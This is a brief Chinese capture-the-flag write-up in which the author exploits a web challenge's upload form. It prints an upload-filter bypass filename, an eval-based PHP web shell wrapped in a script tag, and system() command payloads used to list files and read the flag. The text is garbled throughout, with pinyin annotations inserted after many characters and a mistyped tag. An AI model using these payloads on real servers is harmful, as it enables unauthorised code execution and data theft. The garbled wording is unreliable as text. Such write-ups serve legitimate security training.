打開題目鏈接http://47.93.190.246:49166/

看到file還有題目名就想包含一下，當(dāng)然是嘗試的flag.php，結(jié)果什么都沒有，用php://filter試試發(fā)現(xiàn)作者已經(jīng)過濾了

右鍵源碼看到upload.php

上傳文件名為1.php;.jpg，繞過檢測，包含一下發(fā)現(xiàn)一句話的<?php?>這些字符被過濾，從其他文章處看到構(gòu)造了<script language=php>@eval($_POST['cmd']);</script>菜刀連接被禁止了，又構(gòu)造命令執(zhí)行<acript language=php>system("ls")</script>，文件上傳可以看到flag文件名,再構(gòu)造<script language=php>system("cat flag..........txt")</script>上傳得到flag